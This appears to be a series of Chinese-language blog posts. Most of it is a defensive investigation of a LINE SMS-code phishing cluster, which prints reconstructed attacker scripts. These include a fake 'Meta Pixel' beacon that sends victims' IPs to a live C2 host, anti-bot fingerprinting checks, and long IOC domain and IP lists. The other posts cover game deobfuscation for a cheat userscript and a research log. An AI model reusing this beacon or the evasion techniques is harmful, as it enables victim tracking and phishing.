10/16 01:10 · 5c02894（哥布林木棒改為耐久 2 次、速度降低,玩家攻擊可打掉木棒）

哥布林丟出的木棒變成有耐久的投射物，玩家的攻擊可以把它打掉。模糊配對到的函式剛好就是這次改到的地方：玩家的揮砍、突刺、射箭，投射物更新，哥布林投擲。

命名遷移 exact 193, fuzzy 17, missing 0，外掛已支援（8b3282d3）。

本節來源：reverse/README.md

（11）公開範圍

遊戲程式碼一個字都不在 repo 裡。 原版、還原版、拆掉 IIFE 的版本都沒有。工具執行時從原作者的網站或 GitHub 抓 game.js，還原結果放在 builds/，不進版控。

理由跟 Hololive Dreams 那篇一樣：遊戲是原作者的著作。混淆是作者明確表達「不想被這樣讀」的意思，我可以為了互通性自己還原，但把還原結果整份重新發佈是另一回事。外掛 v3 改成執行時接上官方版本，而不是內嵌還原版，也是為了這個。

公開的有：

• 還原工具。這些是通用的 javascript-obfuscator 還原技術，不針對這款遊戲。
• 命名對照表（names.json、locals.original.json、maps.json）。內容是識別字名稱，加上正規化過、最長 80 字元的宣告指紋。
• 本文引用的片段，都是說明需要的短片段。

存檔簽章的演算法和鹽有公開。它不是防盜拷措施，是存檔完整性檢查；鹽本來就寫在每個人瀏覽器下載的 game.js 裡；遊戲沒有線上排行榜，改了只影響自己。

這是單機遊戲的學習練習，改了只影響自己的那一局。請不要把這套方法拿去刷有線上排行榜、或會影響到別人的遊戲。

（附）踩過的坑

for c in $(git log --format=%h -- game.js); do git show $c:game.js | head -c 80; done

怎麼安裝

1. 裝 Tampermonkey。 用 Chrome 的話還要打開 chrome://extensions，點 Tampermonkey 的「詳細資料」，打開「允許使用者指令碼」。找不到這個開關，就先打開右上角的「開發人員模式」。
2. 點一鍵安裝。 裝過 v2.5 的話，Tampermonkey 會顯示「更新」。
3. 打開遊戲。 右上角出現「⚔ DUNGEON REBORN 外掛」面板就成功了。桌面版按 ` 收合，手機點標題列展開。

只想看原始碼、不想安裝的話，打開檢視原始碼，或點文章裡任何一個「在 SiaoHub 檢視」。會跳出安裝畫面的只有上面的「一鍵安裝」。

面板沒出現？

• 先確認第 1 步的開關，再確認網址是上面那個遊戲網址。@match 只對這個網址生效。
• 打開 Console，應該要看到「[DUNGEON REBORN 外掛 v3] 已攔截頁面載入」和「執行位置：頁面」。顯示「Tampermonkey 沙盒」也能正常玩，只是 Console 裡摸不到 G。
• 按「開始遊戲」沒反應：你裝的是 3.0.0，請重新點一次「一鍵安裝」更新到 3.1.0。
• 畫面底部出現紅色的「外掛尚未支援這個版本」：作者又更新了遊戲，目前跑的是原版。等我跑一次 update.sh 推上去就好。

工具鏈

• webcrack 要用 npm install --ignore-scripts 裝。 它相依的 isolated-vm 在 Node 26 編不過，但這裡用自訂的 sandbox，用不到它。
• obfuscator-io-deobfuscator 的判定函式可以從外面換。 ProxyFunctionInliner 是透過模組物件呼叫 isProxyFunctionExpression，所以在外面改 require(...).isProxyFunctionExpression 就會生效，不用 fork。

References

• https://github.com/javascript-obfuscator/javascript-obfuscator
• https://github.com/j4k0xb/webcrack
• https://github.com/ben-sb/obfuscator-io-deobfuscator
• https://html.spec.whatwg.org/multipage/dynamic-markup-insertion.html#document-open-steps
• https://github.com/bryc/code/blob/master/jshash/experimental/cyrb53.js
• https://playwright.dev/docs/api/class-page#page-add-init-script

調查日期 2026-09-26。文中的規模數字都是當天的快照，這類叢集的域名每週都在輪替。

手法定性

password-less 釣魚。頁面不收密碼，只收 手機號 + 簡訊驗證碼， 對應的是 LINE 的簡訊碼新裝置登入路徑（非密碼登入、非 OAuth、非 QR 裝置授權）。 攻擊者拿 phone + SMS code 在自有裝置發起新裝置登入，受害者從頭到尾不知道自己填的是 LINE 真正的登入驗證碼。 頁面本身也刻意不提 LINE：無 LINE 品牌、無 QR code，藉口是「手機號碼用於本次投票聯繫」。

受害者看到的就是這種頁面——品牌 ITEDA 創意繪畫比賽、綠底水彩、一排兒童畫作加上假的票數與排名，每張作品下面一個綠色「投票」鈕（截圖為 sdiet.eu.cc 世代，2026-09-26）：

擷取條件：iPhone Safari UA + Accept-Language: zh-TW，僅 GET，不執行頁面 JS、不提交欄位。 未觀察到 UA／geo cloaking：美國出口與台灣出口拿到相同內容。反分析改由一支偽裝成 Meta Pixel 的指紋採集載荷負責（見後文）。

前端狀態機（review.js）— 判定為人工即時中繼的決定性證據

點「投票」後導向的驗證頁，表單直接把號碼與碼 POST 給後台 PHP，URL 上還帶著一枚 per-flow token：

<form method="post"
      action="/auth/verify.php?u=1&id=1&poll=2&flow=ed06417e730f52394401c8306d424e10">
<!-- 頁尾： 手機號碼用於本次投票聯繫。 -->

review.js 裡的狀態訊息與重輸碼彈窗，是原封不動的攻擊者程式碼：

const messages = {
  awaiting_code: '請輸入簡訊驗證碼',
  pending:       '簡訊驗證碼已提交，等待人工確認',
  approved:      '驗證成功',
  rejected:      '驗證未通過，請重新輸入簡訊驗證碼',
  completed:     '投票已完成'
};
 
// 後台可即時推播 code_prompt_kind:'reentry'，把彈窗標題切成「請重新輸入」
modalTitle.textContent =
  kind === 'reentry' ? '請重新輸入簡訊驗證碼' : '請輸入簡訊驗證碼';
 
// 每 3 秒輪詢後台，失敗時退避 2 / 3 / 5 秒
function schedule(delay = 3000) { /* ... */ }
const result = await query('/api/request-status.php?request_id='
  + encodeURIComponent(form.dataset.requestId)
  + '&poll=' + encodeURIComponent(form.dataset.poll), {}, controller);
schedule(failures ? [2000, 3000, 5000][Math.min(failures - 1, 2)] : 3000);

判讀：rejected → 重輸碼 這條轉移在自動化收割場景不存在——沒有理由「拒絕」一組已收下的 OTP 再索取新碼。唯一合理成因是後台端登入嘗試失敗（碼過期／需要第二因子）， 需受害者補發新鮮 OTP。即後台為真人與 LINE 登入流程即時競速。

佐證兩點：

• 每 3 秒輪詢 /api/request-status.php（失敗時退避 2／3／5 秒）：把受害者滯留於頁面，維持 OTP 時效窗。
• validCode() 過濾 111111、121212、123123 這類重複碼與 123456、654321 這類連號：阻擋以測試碼探測流程。

收單端點（三套 kit 對應不同實作）：

• Kit A（Vue SPA，繪畫大公投）：SPA 路由 /auth/verify、/auth/second、/vote、/users。頁面同時載入偽 Meta Pixel 遙測載荷（見下一節）。
• Kit B（PHP + session，繪畫比賽 · test）：/auth/verify.php（action=send / submit_code / complete）、/api/request-status.php 輪詢、/api/visit.php 訪客回報。
• Kit C（PHP，寶寶創意繪畫）：/vote-verify.php、/api/external_verify.php?action=verify|commit、/api/vote.php（action=send_code / vote）。CSS 直接用 LINE 品牌色，作品圖上傳日期到 9/23、9/24，仍在活躍營運。

Kit B 的 visit.php 值得單獨看：頁面一 visible 就把 poll_id、path、referrer（截 500 字）連同一組 csrf / proof 回報後台——受害者還沒填任何欄位，後台就已經知道「有人正在看這條連結」，用來即時盯著誰上鉤。

Kit C 有一個 verifyMode 開關，值可為 standard / api / line / line_direct：

• api 模式在受害者還在輸入手機號時就先打 external_verify.php?action=commit，讓後台預先對該號發起登入、把回傳的 mailaddress 綁到這支手機號；等碼填進來再打 ?action=verify。整個過程有一條 __chatSend() 通道把每一步狀態即時推給後台的操作員對話視窗——又一個人工在線的證據。
• line / line_direct 模式則直接跳過驗證、只記投票，是用來混充「正常投票」的幌子分支。

偽裝成 Meta Pixel 的 anti-bot 指紋引擎

Kit A 的頁面在畫面外掛一個看不見的 iframe（left:-1000px; width:0; height:0）， 裡面載入 /MetaPixel/MetaPixel.html → pixel.js（約 50 KB，重度混淆）。 名字借用 Meta Pixel，但它跟 Meta 沒有任何關係。

混淆手法（靜態還原、未執行）：字串被拆成整數陣列再用 XOR／位元打包還原， 主體是一段 new Function(atob(...))（約 30 KB）裡再包兩個 base64 模組， 其中一個自帶一份 SHA-256、用 BigInt 做運算把邏輯藏起來。 第二階段路徑同樣是打包字串：/MetaPixel/7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.min.js。

剝掉混淆後，核心其實就這幾行（我把混淆變數名還原、邏輯照抄）：

// 取受害者公網 IP
const ip = await (await fetch("https://ipv4.icanhazip.com")).text();
// 從 UA 解出 OS 與版本 → "IOS 18.1" / "Android 14.0" / "Windows 10.0" ...
const deviceVersion = parseOsFromUserAgent(navigator.userAgent);
// 回報給 C2，channelCode 是硬編碼的投放通路代碼
await fetch("https://basic-being-basic.top/api/ip-sync/sync", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({
    channelCode: "CHMK6IG08F42496C22",
    ip, deviceVersion,
    domain: window.location.hostname
  })
});
setInterval(sync, 10000);                        // 每 10 秒回報一次
setInterval(() => parent.location.reload(), 180000); // 每 3 分鐘 reload 父頁

也就是說，這支「Pixel」是一支歸因遙測 beacon：

送給 C2 的 body 長這樣：

{ "channelCode": "<投放通路代碼>", "ip": "<受害者公網 IP>",
  "deviceVersion": "IOS 18.1", "domain": "<當前釣魚域名>" }

channelCode（樣本裡看到 CHMK6IG08F42496C22、YBRD8UXT6ZF59 這類硬編碼常數） 是投放通路 / 分潤代碼：這是一套會分帳的體系，後台要知道每個受害者是從哪條散布管道來的。 載荷還每 180 秒 reload 一次父頁，把受害者黏在頁面上。 所以這支「Pixel」的用途不是網頁分析，而是把受害者的 IP、裝置、來源通路即時回報給 C2， 好和他等一下填進來的手機號對起來。

但 beacon 只是最後一步——前面是一整套 anti-bot 指紋閘門

把 pixel.js 的兩個 base64 模組完全解開後，才發現 beacon 之前有一層反自動化 + 真人真機驗證。 一個模組是純混淆（BigInt 數值密碼器，遮罩 2^39−1，把字串藏起來）；另一個才是本體， 在回報 C2 之前依序檢查：

• navigator.webdriver === true → 偵測 Selenium / headless，命中直接中止。
• MathML 渲染指紋：塞一個 <math mathcolor="blue"><mn>14</mn></math>，讀回算出來的顏色是不是 rgb(0, 0, 255)——headless／無頭環境渲染 MathML 的結果不一樣。
• WebRTC：探 RTCIceGatherer、RTCPeerConnection（含 moz / webkit 變體）。
• WebGL（GPU 指紋）、IndexedDB、WebSQL openDatabase、localStorage（抓無痕／被插樁環境）、 TouchEvent / navigator.maxTouchPoints（真手機驗證）、platform（MacIntel…）。

這解開了先前一個矛盾：被動擷取（curl / WebFetch）明明「沒看到 UA 或 geo cloaking」， 卻只拿得到 OG 外殼。原因是 cloaking 根本不在伺服器端，而在這支客戶端指紋引擎—— 它先確認你是真手機真人，才讓後面的流程跑起來。佐證：第二階段載荷 /MetaPixel/<sha1>.min.js 對一個普通 GET 回 404，只派送給通過指紋檢查的真裝置， 研究者與爬蟲永遠抓不到。

把 50 KB 的 pixel.js 裡所有隱藏字串（57 條）全解出來後也可以確認： 整條攻擊鏈只有一個 C2（basic-being-basic.top）＋一個取 IP 的 ipv4.icanhazip.com， 沒有藏第二個外連。混淆只是層數多（模組化 base64 + 自帶 SHA-256 + 每陣列 XOR/位元打包）， 不是真正的加密。

後台結構（自 Vue bundle 靜態還原，未登入）

bundle 內嵌後台路由：

/daoline/login
/daoline/accounts       // 被盜帳號清單

daoline = 「盜 LINE」拼音，攻擊者自命名。

後台 UI 字串（自 bundle 抽出）：

后台管理登录 · 工作台 · 子账号管理 · 号台 · 语音提示 · 授權投票 · 退出登录

歸因推論：

• 後台 UI 為簡體、受害者頁面為繁體 → 操作端中國大陸、目標台灣。[strong]
• 存在 子账号管理 / 号台 → 多操作員、多租戶體系 = phishing-as-a-service，非單人。[strong]

唯讀狀態探測（僅讀 HTTP 狀態碼，未取資料）：

admin.<redacted>            → 403  (operator IP allowlist)
<kitA>/daoline/login        → 200  (同源 SPA 公開登入牆)
<kitA>/daoline/accounts     → 404  (資料在登入後 API 之後)

/daoline/login 另以 headless Chrome 載入一次截圖，確認是 后台管理登录 頁（账号／密码／登录，簡體字）；未輸入任何欄位、未點登入、未往下一頁走：

技術棧與權限模型（把 Vue bundle beautify 後靜態還原）

把 Kit A 的 Vue bundle 展開後，後台的樣子比登入頁透露的更完整：

• 後端框架是 ThinkPHP 6（bundle 裡漏了一句錯誤字串 "${t} - ThinkPHP6"），前端是 Vue 3 SPA。
• localStorage 存這幾把鑰匙：daoline_admin_token、daoline_admin_authed、daoline_admin_username、 daoline_admin_role（值是 main 或 sub）、daoline_voice_notify_enabled（語音提示，預設開）。
• 路由守衛寫死了兩級權限：/daoline/accounts（「子账号管理」）掛 requiresMainAdmin， role !== "main" 就被踢回工作台。也就是 main 是老闆、能管子帳號；sub 是輪班操作員、只能用「工作台7号」處理受害者。
• 语音提示（voice notify）不是裝飾——有人上鉤／提交碼時會播語音提醒操作員。配上 工作台7号／号台 這種編號工作台，整個後台就是一間客服中心式的盜號工廠，不是單人作案。

被盜帳號的實際欄位（清單長什麼樣）由 ThinkPHP6 API 在登入後回傳，不在前端 bundle 裡，所以本次沒有、也不會去取。

operator ↔ 受害者的即時協定

把三支腳本串起來，就是一套即時中繼協定：

• 受害者頁 review.js 每 3 秒輪詢 /api/request-status.php 等後台裁決；
• Kit C 的 chat-track.js 透過 /api/chat.php?action=send 把每一步（拿碼、提交、各種彈窗事件） 即時推給操作員；
• 操作員可反向推播不同彈窗：win_modal（中獎）、line_modal、verify_modal、pending_modal、 confirm_modal、reentry（要求重輸碼）。

chat-track.js 上報的欄位也洩了收割範圍：phone、code、game_id、username、name、 email，以及 address、city、district、deliver_time、shipping_method—— 出現地址與寄送欄位，代表除了 LINE 帳號接管，還有一條騙地址／假寄送的實體詐騙變體。

唯讀狀態探測（只看 HTTP 狀態碼、未取 body）也確認了幾個後台端點是真的： /employee/dashboard.php → 302（員工後台，導向登入）、/api/chat.php → 200、 /api/external_verify.php → 405（存在、只收 POST）。

基礎設施測繪

• TLS SAN 洩漏：對憑證主機名不符的站發請求，錯誤訊息列出同憑證全部 SAN。 對 42 台主機收集後取得 73 個新名稱：26 個存活（含 2 個 admin 後台域名）、47 個已註冊但尚未啟用的預備域名（見下）。
• 叢集規模（2026-09-26 快照）：100 存活主機 / 32 IP；命名模式 eu.cc + 4–6 隨機小寫字母， 另有 .shop / .bond / .top 變體。
• 這些 eu.cc 都掛在同一組 DNS：a.rsp-dns.com / b.rsp-dns.com（SOA master.julydns.com）——廉價／免費子網域服務，是整個叢集的供應管道。
• C2 遙測：basic-being-basic.top/api/ip-sync/sync（見上一節）。
• 業務外溢：同一批憑證也掛著仿冒 OKX 的假加密貨幣交易所。

預註冊、尚未啟用的輪替庫存

同一組憑證上，除了 26 個當時存活的域名，還有 47 個已註冊但還沒指向任何主機的 eu.cc 子網域。 這是攻擊者的輪替庫存：現役站被封或被盜號受害者檢舉後，隨時可以把 DNS 指過去接手。 把它們先列出來，是為了讓封鎖清單能跑在啟用之前——這是這條攻擊鏈少數能「先發制人」的地方。

bijvw.eu.cc  bive.eu.cc  brgr.eu.cc  btds.eu.cc  cbje.eu.cc  dbfzs.eu.cc
dfbe.eu.cc  ebfb.eu.cc  efvb.eu.cc  emwz.eu.cc  erdvg.eu.cc  etnt.eu.cc
evwb.eu.cc  fhfg.eu.cc  hdks.eu.cc  iows.eu.cc  jnkbe.eu.cc  kdhv.eu.cc
kdjv.eu.cc  kjsf.eu.cc  llisw.eu.cc  mtnr.eu.cc  mwoq.eu.cc  ncgve.eu.cc
njvd.eu.cc  nvjk.eu.cc  qpive.eu.cc  qpiw.eu.cc  revda.eu.cc  rewg.eu.cc
rnjog.eu.cc  rvcx.eu.cc  rwbm.eu.cc  sdkjv.eu.cc  tyxcn.eu.cc  vbjs.eu.cc
vdje.eu.cc  veniw.eu.cc  vetrv.eu.cc  veuk.eu.cc  vkbj.eu.cc  vrett.eu.cc
vrlxcr.eu.cc  vwkd.eu.cc  wkdm.eu.cc  wudi.eu.cc  xuvet.eu.cc

（截至 2026-09-26 覆核，這 47 個都還沒有 A 記錄；名字本身沒有語意，就是隨機字母。）

IOC：真實網域與公網 IP（2026-09-26 快照）

以下都是當天 DNS／HTTP 唯讀確認過的存活主機。域名每週輪替，看到時可能已死或已換 IP， 但 IP／ASN 群集相對穩定，適合直接進封鎖清單。被盜帳號清單這種受害者資料不在此列，也不會公開。

主機集中在幾個香港廉價 VPS 的 IP 上，clustering 很明顯：

假 LINE 登入子網域（掛在 line. 前綴下，直接仿冒 LINE 登入）：

line.hfue.eu.cc        103.85.227.115
line.iteadq.lat        103.185.249.111
line.itedae.me         103.158.228.150
line.itedam.me         103.158.228.150
line.iteduah.me        103.85.227.31
line.iteduas.shop      103.158.228.150
line.ithuki.shop       116.204.132.44

管理後台（/daoline/ 之外、operator 自用，對外 403）：

admin.kjvw.eu.cc       103.185.249.111
admin.sblmm.shop       103.185.249.111

同一營運者的假 OKX 交易所（與本叢集共用憑證，掛 Cloudflare）：

okxcoinx.top   coinxdex.top   coinxtrc.top

投票釣魚站（domain IP，88 個）：

aduhey.my              64.118.150.107      askw.shop              103.85.227.115
awayaxfut.bond         207.56.20.196       bhuntre.com            103.117.136.134
cbej.eu.cc             103.121.95.120      cbks.eu.cc             103.85.227.115
cbnm.eu.cc             103.97.178.237      ciwtr.eu.cc            156.238.227.49
clsm.eu.cc             103.121.95.120      cnlw.eu.cc             38.76.193.162
cveow.eu.cc            116.204.132.44      drsv.eu.cc             116.204.132.44
dsvds.eu.cc            156.238.227.49      erbf.eu.cc             103.85.227.115
etlhsse.eu.cc          103.233.252.181     eukks.eu.cc            103.233.252.181
fewss.eu.cc            216.173.67.107      fttpperformance.bond   207.56.20.196
heyluck.xyz            64.118.150.107      hfue.eu.cc             103.85.227.115
hksud.eu.cc            116.204.132.44      husdf.eu.cc            156.238.230.118
husie.eu.cc            103.85.227.115      ieow.eu.cc             103.116.247.56
ieskss.eu.cc           103.233.252.181     iiosp.eu.cc            103.121.95.120
ioea.eu.cc             38.76.193.162       ioow.eu.cc             103.85.227.115
itdrls.eu.cc           103.233.252.181     iteadq.lat             103.185.249.111
itedaa.me              114.134.187.246     itedae.me              103.158.228.150
itedam.me              103.158.228.150     itedua.me              103.233.252.167
iteduah.me             103.85.227.31       iteduas.shop           103.158.228.150
ithhks.eu.cc           103.233.252.181     ithlss.com             103.233.252.181
ithuki.shop            116.204.132.44      ithuky.eu.cc           156.238.230.118
itllsw.eu.cc           103.233.252.181     itysk.eu.cc            156.238.230.118
iwne.eu.cc             103.97.178.237      jkazx.eu.cc            116.204.132.44
kstp.eu.cc             104.21.9.226        lfhe.eu.cc             199.102.216.161
lsio.eu.cc             103.85.227.115      ltwjdr.com             104.21.95.27
mouthjhvgrh.bond       207.56.20.196       ncle.eu.cc             216.173.67.107
pjtxh.eu.cc            116.204.132.44      ploe.eu.cc             103.85.227.115
politicsxmtw.bond      207.56.20.196       positionfpmm.bond      207.56.20.196
qosiv.eu.cc            216.173.67.107      qwio.eu.cc             156.238.227.64
regionzhaej.bond       207.56.20.196       rehe.eu.cc             103.85.227.115
relatevebne.bond       207.56.20.196       rgns.eu.cc             103.116.247.56
rjvn.eu.cc             199.102.216.161     rnts.eu.cc             103.116.247.56
rtdcv.eu.cc            216.173.67.107      rtyu.shop              103.121.95.120
sbpgonscore.bond       207.56.20.196       scir.eu.cc             103.116.247.56
sdiet.eu.cc            156.238.230.31      timwx.eu.cc            38.76.193.162
vbkjd.eu.cc            199.102.216.161     vjbh.shop              199.102.216.161
vnbru.eu.cc            156.238.227.49      vnue.eu.cc             103.97.178.237
vwbo.eu.cc             103.85.227.115      vwsa.qpon              103.85.227.115
wcjk.eu.cc             156.238.227.64      wercv.eu.cc            156.238.227.14
wetret.eu.cc           103.85.227.115      whatevergjgv.bond      207.56.20.196
wkso.eu.cc             103.97.178.237      wrbc.eu.cc             156.238.227.49
wrtq.eu.cc             156.238.230.31      xfgnb.eu.cc            116.204.132.44
xulwk.eu.cc            216.173.67.107      yeisw.eu.cc            103.97.178.237
zemgsee.bond           207.56.20.196       zvxdcv.eu.cc           103.121.95.120
bhuntre.com            103.117.136.134     ltwjdr.com             104.21.95.27

（kstp.eu.cc、ltwjdr.com 走 Cloudflare，104.21.*／172.67.* 是 Cloudflare edge、非源站。 bhuntre.com 是仿冒台灣正規比賽平台「獎金獵人 bhuntr.com」的變體。）

其他固定指標：C2 basic-being-basic.top/api/ip-sync/sync；所有 eu.cc 的 DNS 都是 a.rsp-dns.com / b.rsp-dns.com（SOA master.julydns.com）；散布常搭配 reurl.cc、zip1.io、 ssur.cc、my.ppt.cc 等短網址跳板。

不只是 LINE 釣魚：一個多品牌 phishing-as-a-service

順著憑證與同箱關聯往外拉，這個「繪畫投票」叢集其實只是一間工廠的其中一條產線。 把憑證家族（同一張 TLS 憑證＝同一營運者，最硬的證據）和專用主機接起來，會看到這樣：

決定性的一條：dbtkzx.cc（假電商）跟 iteda.me（LINE 盜號）共用同一張 TLS 憑證—— 不同品牌、同一夥人，這點沒有模糊空間。

兩個發現值得單獨記：

1. 他們正在換主機商。 新一代的 iteda*.me 家族（iteda.me、itedas.me、itedau.me、 iteduae.me、iteduam.me、iteduan.me、iteduas.me 及對應的 line.iteda*.me 假登入頁） 已經從香港廉價 VPS 搬到 Tencent Cloud（119.28.12.254）與 Aceville／Tencent 國際版 SG （43.167.14.73、43.155.33.218、124.156.98.111）。103.85.227.31 這台更直接—— iteduah.me（LINE）和 trxjj.cc／trx.trxjj.cc（TRON）掛在同一台。

2. 封鎖時別整段封 IP。 103.117.136.134 是共享主機：bhuntre.com／brtrx.cc／suitoai.com 是這夥人的租戶，但同 IP 還有 30 幾個無關的中國公司網域。整段封會誤傷，只封域名。

新一代與跨品牌的存活主機（2026-09-26 覆核，供補進封鎖清單）：

# LINE 新世代（Tencent / Aceville）
iteda.me 119.28.12.254        iteduas.me 119.28.12.254     line.iteda.me 119.28.12.254
itedas.me 43.167.14.73        line.itedas.me 43.167.14.73  iteduan.me 43.155.33.218
line.iteduan.me 43.155.33.218 iteduae.me 103.233.252.167   iteduam.me 103.185.249.111
itedau.me 156.238.230.118     ceos.eu.cc 156.238.227.31     dsfe/euhs/nuwe/qeix/sfse.eu.cc 156.238.230.31
fgni.eu.cc 103.185.249.111    pp.huuoop.shop 124.156.98.111 aozjtd.eu.cc 43.110.33.35
# 加密貨幣（TRON）
trxjj.cc 103.85.227.31        trx.trxjj.cc 103.85.227.31    trx.iteduah.me 103.85.227.31
brtrx.cc 103.117.136.134      suitoai.com 103.117.136.134   xfjr7773.com 119.28.12.254
# 假 Google Maps / 假電商 / 其他（同箱）
mapsgoogle.cc 119.28.12.254   dbtkzx.cc 119.28.12.254       news16.cc/news18.cc/twyue.cc 119.28.12.254
aitowa.cc 103.85.227.31       heyluck.top 64.118.150.107

Wayback 的歷史快照還洩了各品牌的 kit 路徑結構，坐實它們共用同一套後台： /Google/{login,register,kefu,rule,topic}.php（Google 品牌 kit）、 /api/mall/* + debug_buy.php（電商 kit）、/api/videos/*（影片服務）—— kefu（客服）、zhuce（注册）都是簡體，跟 daoline 後台同源。

OSINT pivot（可重用；含死路）

有效：

• Cofacts GraphQL（api.cofacts.tw/graphql）：第一手活體樣本 URL 最佳來源。 帶瀏覽器 UA（urllib 吃 403），createdAt 分頁全抓後本地過濾。
• urlscan.io：page.ip:"<ip>" 反查最強 pivot；page.title:"投票活動" 精確命中整叢集。 另一招更準——domain:basic-being-basic.top，直接撈出所有載入過那支 C2 beacon 的頁面，等於用共用元件反查整群。
• certSpotter（api.certspotter.com/.../issuances?...&include_subdomains=true）： include_subdomains=true 是關鍵，一次把整組 line.iteda*.me 子網域拉出來；crt.sh 對這批 eu.cc 查無記錄，換這個 CT 前端就有。
• openssl s_client 讀憑證 SAN：對憑證主機名不符的站發一次 handshake，subjectAltName 會列出同證所有域名——brtrx.cc、dbtkzx.cc↔iteda.me 的關聯都是這樣挖出來的。
• AlienVault OTX passive DNS（免 key）：反查 C2、反查 IP 帶出同箱域名（共享 VPS 雜訊多，要用叢集指紋過濾）。
• Wayback Machine CDX（web.archive.org/cdx/search）：歷史快照洩出各 kit 的路徑結構（/Google/*、/api/mall/*），連被動列舉不到的端點都留了紀錄。

半死路 / 死路：

• crt.sh 對這批域名查無記錄，但別因此以為憑證不在 CT log 裡——用 certSpotter 的 API （api.certspotter.com/v1/issuances?domain=...&expand=dns_names）反而查得到同一批 Let's Encrypt 憑證， 一張憑證上 5～10 個 SAN 全列出來。也就是說「crt.sh 是死路」是 crt.sh 的索引問題，不是 CT 本身； 换個 CT 前端就活了。這點跟先前筆記說的「刻意不進 CT」不同，以實測為準。
• OpenPhish 免費 feed（7 筆）、PhishStats（522）、HackerTarget（覆蓋不足）、 urlscan 匿名不索引 CJK 內文（自由文字 0 命中）——這幾個是真死路。

Detection / IOC

• 網路：*.eu.cc + /api/request-status.php 短輪詢；beacon 打 basic-being-basic.top/api/ip-sync/sync；載入 /MetaPixel/ 隱藏 iframe。
• 頁面：無密碼欄、僅索取手機號＋簡訊碼、輪詢式「等待審核」UI、daoline 路由前綴。
• 可先發制人：上面 47 個預註冊 eu.cc 可直接進封鎖清單，不必等它們啟用。
• 存活域名 / IP / 後台域名見上一節 IOC。唯一不公開的是被盜帳號清單這類受害者資料——那要走 165／刑事局／LINE 官方，由執法機關持票取證。

如果你點過這種連結

• LINE →「設定」→「我的帳號」，檢查登入中的裝置，踢掉不認識的。
• 在同一頁關閉「允許自其他裝置登入」，更改密碼，並綁定 Apple 或 Google 帳號。
• 已經登不進去的話，用 LINE 官方客服表單申訴。
• 通知你的聯絡人：從你帳號發出的投票連結都不要點。

LINE 官方口訣：停、查、碼不給。任何網站、任何人要簡訊驗證碼，都不要給。 收到「幫忙投票」的訊息，打電話跟對方本人確認——他的帳號可能已經被盜了。

界線

僅做被動 OSINT 與唯讀 GET；後台結構全部由攻擊者自身 bundle 靜態還原。 未登入後台、未提交任何憑證、未取被盜帳號清單、未對 403 做繞過—— 未授權存取他人系統即使對象為犯罪者仍違法（刑法 §358 / §359），且會污染報案證據鏈。 被盜帳號實資料的正當取證途徑為執法機關持票。

這是一個記憶體安全問題，會導致 Line iOS app 原生崩潰，屬於可用性（DoS）類別，不是帳號接管。於 2026-08-29 透過官方資安回報信箱送出，隨附完整技術報告，以及從實機拉取的裝置端崩潰證據。

責任揭露的立場很簡單：漏洞修好之前，不公開任何能重現它的細節。 根因分析、觸發條件、影響範圍這些完整內容，會等官方修復完成後再整理成技術文章發出來——那會是這個站接下來的一篇。現在能講的只有這條時間軸：

回報時附帶的一個小插曲：在正式送出前補測跨機型可移植性時，這個漏洞意外把我自己的主力手機弄到暫時無法使用——後來查清是本機一層 force quit 都清不掉的頑固快取在作祟，完整登出再重新登入才復原。這段事故的處理過程本身也記了一份 journal，同樣會併進之後那篇技術文章。

修復進度有更新會在這裡補上。

重言在問一件具體的事：形聲——一個字由表義部件加表音部件組成——是不是雙通道文字系統的必然收斂解？做法是固定漢語的語意結構（meaning space）當控制變數，從零重新演化音韻與書寫層。確認階段已於 2026-08-27 完成、heldout 詞表一次性用掉：可泛化的語音編碼在從未見過的字上通過確認（t = +7.35），但形符、聲符從未在空間上分化成兩個功能不同的部分——在測試的所有條件下，形聲都沒有湧現。

現在的工作，是把這條完整的推導線——從 S1 語音層、S2 書寫層、S3 方言壓力到一次性確認，連同走過的錯路與中途撤回的結論——整理成參展作品的形式。專案的來龍去脈見現況總覽，逐集的推導過程見研究日誌（一）、（二）、（三）、（四）、（五）。

籌備有進展會在這裡更新。

這篇是日誌，記的是當時的推論過程。想看目前最新的整體結論，見現況總覽。

第四集結尾把話說死了：heldout 用完了，不會再有第二次，剩下的問題只能在 train 226 詞上回答。排在最前面的是「模組化是不是習得性問題」——這是全專案講了三集的主要候選解釋，卻一直沒被直接測過。這集先花了一番功夫才把測量工具本身修好，然後測了，而且連同另外兩個候選解釋一起測了。三個全部倒下。

先把跑得動的成本降下來

直接測習得成本，需要把 226 選 1 的 S2 run 跑到能負擔重複實驗的程度。候選編碼原本是「每個候選各自從頭編碼」，改成「全詞表編一次、用索引查表」之後，一個 226 選 1 的 S2 run 從 845 分鐘降到 47 分鐘；對抗式候選集那條路徑也跟著優化，從 30 分鐘降到 22 分鐘。這不是這集的主角，但它是接下來一切的前提——沒有這次效能修正，後面要做的重跑和多種子驗證都跑不起。

量尺本身在晃：spatial_dd 的雜訊比它要偵測的效應大三倍

效能優化之後，順手用同一個設定、同一個種子重跑一次第三集用過的空間雙重分離實驗，想確認優化沒有改變數值。結果：

優化前   spatial_dd = −0.1372
優化後   spatial_dd = +0.0398

先排除是不是優化本身出了 bug：展開版與索引版的中間輸出逐項比對，最大絕對差是 0.00——完全等價。差異不是程式錯誤，是訓練過程本身的混沌發散：GRU 在不同 batch 形狀下浮點數的累加順序不同，30000 步之後被放大成完全不同的解。同一個種子不保證同一個結果。

同一設定同一種子的跨度是 0.18，而事先定的最小有意義效應量（SESOI）是 0.05——這把尺的雜訊比它要偵測的效應大三倍。這件事逼出一個讀法上的修正：

• 第三集撤回「讀者換代產生空間分工」是對的——那個 +0.053 本來就落在單一設定的雜訊範圍內
• 但這也代表 spatial_dd 的任何單點數值都不可解讀，包括先前用來支持虛無結果的那些數字。任何結論都必須建立在多種子平均上
• 真正結實的不是 spatial_dd 本身，是它的成分：遮左半造成 −0.584 的傷害、遮右半 −0.602，兩者的差只有 0.018。這個「巨大傷害、微小差異」的對比不受混沌影響，因為兩個數字來自同一次 forward，不是兩次獨立訓練的比較

換句話說：跨 run 比較的數字會被訓練過程的混沌吞掉，同一次評估內部的數字不會。這決定了接下來的分析全部要往哪個方向靠。

把三個候選解釋逐一直接測過，全部失敗

論文草稿一直列著三個「為什麼沒有分工」的候選壓力，前兩個第三集已經間接測過（對抗式候選集、讀者換代），這集把第三個、也是最被看好的一個，直接放進訓練迴圈測了：

